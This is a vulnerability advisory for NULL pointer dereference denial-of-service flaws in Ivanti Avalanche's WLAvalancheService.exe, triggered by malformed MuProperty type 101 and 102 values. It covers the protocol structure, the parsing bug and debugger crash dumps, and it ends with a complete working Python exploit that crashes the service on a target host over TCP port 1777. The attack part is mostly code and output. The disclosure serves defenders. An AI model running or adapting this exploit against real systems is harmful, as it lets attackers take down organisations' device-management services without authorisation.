Multiple NULL pointer dereference denial-of-service vulnerabilities exist in Ivanti Avalanche WLAvalancheService.exe v6.4.4.0 and prior.
MuProperty type 101 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:
// be = big-endian
strut msg
{
preamble pre;
hp hdrpay;
};
struct preamble
{
be32 MsgSize; // size of hp + 16
be32 HdrSize; // size of hp.hdr
be32 PayloadSize; // size of hp.payload
be32 unk:24;
be32 em:8; // encryption method
};
// header + payload
struct hp
{
MuProperty hdr[]; // hdr as array of MuProperty structure(s)
// 'h.cmd' as MuProperty.name
// - REQ_REGISTER (18)
// - RSP_REGISTER (19)
// - REQ_AUTH_DEVICE_KEY (28)
// - RSP_AUTH_DEVICE_KEY (29)
// - REQ_AUTH_AGENT_KEY (30)
// - RSP_AUTH_AGENT_KEY (31)
// - REQ_FILE_UPLOAD (10)
// - RSP_FILE_UPLOAD (11)
// - REQ_FILE_UPLOAD_CONT (12)
// - RSP_FILE_UPLOAD_CONT (13)
// - ...
MuProperty payload[]; // payload as array of MuProperty structure(s)
byte pad[]; // zero-padded to 16-byte boundary
};
struct MuProperty
{
be32 type; // property type, valid: 1-9, 100-102
be32 NameSize;
be32 ValueSize;
byte name[NameSize]; // property name
byte value[ValueSize]; // property value
// format depends on @type
// 3 - hex string
// 9 - list of decimal strings separated by ;
// 100-102 - list of string tokens separated by ;
};
When processing a MuProperty type 101, which is expected to contain of a list of string tokens separated by the ';' character, the "ParseToken" function is called inside a loop to parse the current token. The function strips any leading spaces in the token and return the token size (after the removal of any leading spaces) and a pointer to the next token.
If the property contains only space characters, the first call to the function returns 0 for the token size and NULL for the next token (pNextToken). Because pNextToken is NULL so it less than pEndOfProperty, the ParseToken function is called again but with a NULL pointer passed to it. This causes a NULL pointer dereference, resulting in a read access violation:
(1714.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026fbae0 ecx=00000000 edx=00000000 esi=0252e73b edi=0509fa88
eip=00429842 esp=0509fa14 ebp=0509fa1c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
WLAvalancheService+0x29842:
00429842 8a08 mov cl,byte ptr [eax] ds:002b:00000000=??
0:042> kv
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0509fa1c 0042b592 0509fb18 0509fb08 0252e73b WLAvalancheService+0x29842
01 0509fb1c 0042bb0e 028872f4 0509fb68 00000000 WLAvalancheService+0x2b592
02 0509fe88 0045fda2 028872b8 02887348 0288734c WLAvalancheService+0x2bb0e
03 0509fea8 004c1bbb 003d4226 ffffffff 02884380 WLAvalancheService+0x5fda2
04 0509fed8 004bd07a 017d5c68 00000002 02884380 WLAvalancheService+0xc1bbb
05 0509fef0 00492753 00000002 017d5c68 027b00b0 WLAvalancheService+0xbd07a
06 0509ff08 004d003f 017d5c68 027b00b4 017d5c68 WLAvalancheService+0x92753
07 0509ff1c 005346d6 017d5c68 00529c20 00529c20 WLAvalancheService+0xd003f
08 0509ff70 750805c9 026fbae0 750805b0 0509ffdc WLAvalancheService+0x1346d6
09 0509ff80 77a57c5d 026fbae0 eb2efe0f 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 0509ffdc 77a57c2d ffffffff 77a76ab7 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 0509ffec 00000000 00529c20 026fbae0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
PoC:
python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 101
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 101 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer
MuProperty type 102 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A NULL pointer dereference is also triggered when processing a MuProperty of type 102:
(60c.2324): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026183a8 ecx=00000000 edx=00000000 esi=0243e1db edi=04fbfa88
eip=00429842 esp=04fbfa14 ebp=04fbfa1c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
WLAvalancheService+0x29842:
00429842 8a08 mov cl,byte ptr [eax] ds:002b:00000000=??
0:042> kv
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04fbfa1c 0042b6cd 04fbfb18 04fbfb08 0243e1db WLAvalancheService+0x29842
01 04fbfb1c 0042bb0e 027b1164 04fbfb68 00000000 WLAvalancheService+0x2b6cd
02 04fbfe88 0045fda2 027b1128 027b11b8 027b11bc WLAvalancheService+0x2bb0e
03 04fbfea8 004c1bbb 003d4238 ffffffff 0279cf40 WLAvalancheService+0x5fda2
04 04fbfed8 004bd07a 016e5dc0 00000002 0279cf40 WLAvalancheService+0xc1bbb
05 04fbfef0 00492753 00000002 016e5dc0 026d0008 WLAvalancheService+0xbd07a
06 04fbff08 004d003f 016e5dc0 026d000c 016e5dc0 WLAvalancheService+0x92753
07 04fbff1c 005346d6 016e5dc0 00529c20 00529c20 WLAvalancheService+0xd003f
08 04fbff70 750805c9 026183a8 750805b0 04fbffdc WLAvalancheService+0x1346d6
09 04fbff80 77a57c5d 026183a8 77d7f0ce 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 04fbffdc 77a57c2d ffffffff 77a76ab8 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 04fbffec 00000000 00529c20 026183a8 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
PoC:
python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 102
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 102 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer
Python PoC:
import socket, argparse, re, hexdump2, sys
from struct import *
def dump(title, data):
print('[-- %s --]' % (title))
if data: hexdump2.hexdump(data)
def mk_msg(hdr, payload, f4=0):
msg = hdr + payload
msg += b'\x00' * ((16 - len(msg) % 16) % 16)
preamble = pack('>LLLL', len(msg) + 16, len(hdr), len(payload), f4)
msg = preamble + msg
return msg
def MuProperty(t, k, v):
prop = pack('>LLL', t, len(k), len(v)) + k.encode() + v
return prop
def recvall(sock, n):
data = bytearray(b'')
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def recv_msg(sock):
data = bytearray(b'')
# Read preamble
data = recvall(sock, 0x10)
if data == None or len(data) != 0x10:
raise ValueError(f'Failed to read preamble')
# Get msg size
size = unpack_from('>I', data, 0)[0]
if size < 0x10 or size > 0x200000:
raise ValueError(f'Invalid msg size {size:X}')
# Get data
data += recvall(sock, size - 0x10)
if len(data) != size:
raise ValueError(f'Failed to read msg of {size:X} bytes')
return bytes(data)
def get_cmd(res):
m = re.search(b'h.cmd(\d+)', res)
if m:
cmd = int(m.group(1))
else:
raise Exception('h.cmd not in received message.')
return cmd
#
# MAIN
#
descr = 'Ivanti Avalanche WLAvalancheService.exe NULL Pointer Dereference'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='target host')
parser.add_argument('-m', '--mtype', choices=[101,102], type=int, default=101, help='MuProperty type used for the PoC, default: %(default)s')
parser.add_argument('-p', '--port', type=int, default=1777, help='WLAvalancheService.exe port, default: %(default)s')
parser.add_argument('-d', '--debug', action='store_true', help='dump messages')
args = parser.parse_args()
target = args.target
port = args.port
mtype= args.mtype
debug = args.debug
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.settimeout(5)
res = recv_msg(s)
if debug: dump('res on connect', res)
# Check if REQ_REGISTER (18)
cmd = get_cmd(res)
if cmd != 18:
sys.exit(f'Unexpected h.cmd {cmd} received, expected: 18.')
print('Received REQ_REGISTER (18)')
print(f'Sending a malformed MuProperty type {mtype} in RSP_REGISTER (19)')
mid = 0
hdr = MuProperty(2, 'h.mid', str(mid).encode())
hdr += MuProperty(2, 'h.cmd', b'19')
hdr += MuProperty(2, 'h.abort', b'0')
hdr += MuProperty(mtype, 'h.foo', b' ')
payload = MuProperty(2, 'p.rev', b'308')
req = mk_msg(hdr, payload)
if debug: dump('req', req)
try:
s.sendall(req)
res = recv_msg(s)
if debug: dump('res', res)
except Exception as e:
print(e)